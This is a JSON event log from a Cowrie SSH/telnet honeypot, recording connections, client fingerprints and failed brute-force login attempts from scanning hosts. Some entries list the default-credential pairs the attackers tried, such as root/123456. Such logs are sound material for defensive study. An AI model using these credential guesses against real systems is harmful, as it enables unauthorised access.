{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:03.360046Z","src_ip":"91.92.40.36","session":"2b7dec061fb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":30544,"dst_ip":"10.17.0.5","dst_port":22,"session":"e84dc3ca4ba1","protocol":"ssh","message":"New connection: 91.92.40.36:30544 (10.17.0.5:22) [session: e84dc3ca4ba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:08.851442Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43070,"dst_ip":"159.203.135.109","dst_port":23,"session":"3939d2a92a5c","protocol":"telnet","message":"New connection: 128.199.8.54:43070 (159.203.135.109:23) [session: 3939d2a92a5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:09.422615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:10.608728Z","src_ip":"91.92.40.36","session":"e84dc3ca4ba1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:10.611758Z","src_ip":"91.92.40.36","session":"e84dc3ca4ba1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"postgres","message":"login attempt [sysupdate/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:11.390138Z","src_ip":"91.92.40.36","session":"2b7dec061fb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.3","message":"Connection lost after 11.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:13.863610Z","src_ip":"91.92.40.36","session":"2b7dec061fb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456789","message":"login attempt [test/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:16.324587Z","src_ip":"91.92.40.36","session":"e84dc3ca4ba1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":10010,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b278ba401fa","protocol":"ssh","message":"New connection: 91.92.40.36:10010 (10.17.0.5:22) [session: 2b278ba401fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:18.296507Z"}
{"eventid":"cowrie.session.closed","duration":"10.5","message":"Connection lost after 10.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:19.314001Z","src_ip":"91.92.40.36","session":"e84dc3ca4ba1","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:19.317314Z","src_ip":"91.92.40.36","session":"2b278ba401fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:19.320363Z","src_ip":"91.92.40.36","session":"2b278ba401fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":38792,"dst_ip":"159.203.135.109","dst_port":22,"session":"185482de7e67","protocol":"ssh","message":"New connection: 14.63.196.175:38792 (159.203.135.109:22) [session: 185482de7e67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:21.886446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:21.890975Z","src_ip":"14.63.196.175","session":"185482de7e67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:22.094195Z","src_ip":"14.63.196.175","session":"185482de7e67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":95.90371656417847,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:22.799132Z","src_ip":"94.23.66.112","session":"5b3c41c869cc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"jb","password":"jb","message":"login attempt [jb/jb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:22.945262Z","src_ip":"14.63.196.175","session":"185482de7e67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:24.150697Z","src_ip":"14.63.196.175","session":"185482de7e67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:26.311050Z","src_ip":"91.92.40.36","session":"2b278ba401fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":28396,"dst_ip":"10.17.0.5","dst_port":22,"session":"642e4ef2123b","protocol":"ssh","message":"New connection: 91.92.40.36:28396 (10.17.0.5:22) [session: 642e4ef2123b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:27.229294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:27.259801Z","src_ip":"91.92.40.36","session":"642e4ef2123b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:28.011235Z","src_ip":"91.92.40.36","session":"642e4ef2123b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.3","message":"Connection lost after 10.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:28.560621Z","src_ip":"91.92.40.36","session":"2b278ba401fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.217.22","src_port":55062,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd0c89e117a8","protocol":"ssh","message":"New connection: 45.123.217.22:55062 (10.17.0.5:22) [session: dd0c89e117a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:31.449953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:31.455229Z","src_ip":"45.123.217.22","session":"dd0c89e117a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:31.686191Z","src_ip":"45.123.217.22","session":"dd0c89e117a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":28450,"dst_ip":"10.17.0.5","dst_port":22,"session":"71b437d46411","protocol":"ssh","message":"New connection: 91.92.40.36:28450 (10.17.0.5:22) [session: 71b437d46411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:31.955992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:32.457310Z","src_ip":"91.92.40.36","session":"71b437d46411","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:32.460667Z","src_ip":"91.92.40.36","session":"71b437d46411","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"123456","message":"login attempt [deployer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:33.028993Z","src_ip":"91.92.40.36","session":"642e4ef2123b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gustavo","password":"123456","message":"login attempt [gustavo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:34.033318Z","src_ip":"45.123.217.22","session":"dd0c89e117a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r00t","message":"login attempt [root/r00t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:35.009788Z","src_ip":"91.92.40.36","session":"71b437d46411","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:35.269962Z","src_ip":"45.123.217.22","session":"dd0c89e117a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.2","message":"Connection lost after 8.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:35.423817Z","src_ip":"91.92.40.36","session":"642e4ef2123b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:36.570540Z","src_ip":"91.92.40.36","session":"71b437d46411","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":53392,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7c47c58174e","protocol":"ssh","message":"New connection: 91.92.40.36:53392 (10.17.0.5:22) [session: a7c47c58174e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:39.239063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:39.812266Z","src_ip":"91.92.40.36","session":"a7c47c58174e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:39.816097Z","src_ip":"91.92.40.36","session":"a7c47c58174e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"toto","password":"toto","message":"login attempt [toto/toto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:42.898140Z","src_ip":"91.92.40.36","session":"a7c47c58174e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:45.015119Z","src_ip":"91.92.40.36","session":"a7c47c58174e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":59280,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e0e97a027b8","protocol":"ssh","message":"New connection: 91.92.40.36:59280 (10.17.0.5:22) [session: 4e0e97a027b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:46.921367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:47.335959Z","src_ip":"91.92.40.36","session":"4e0e97a027b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256",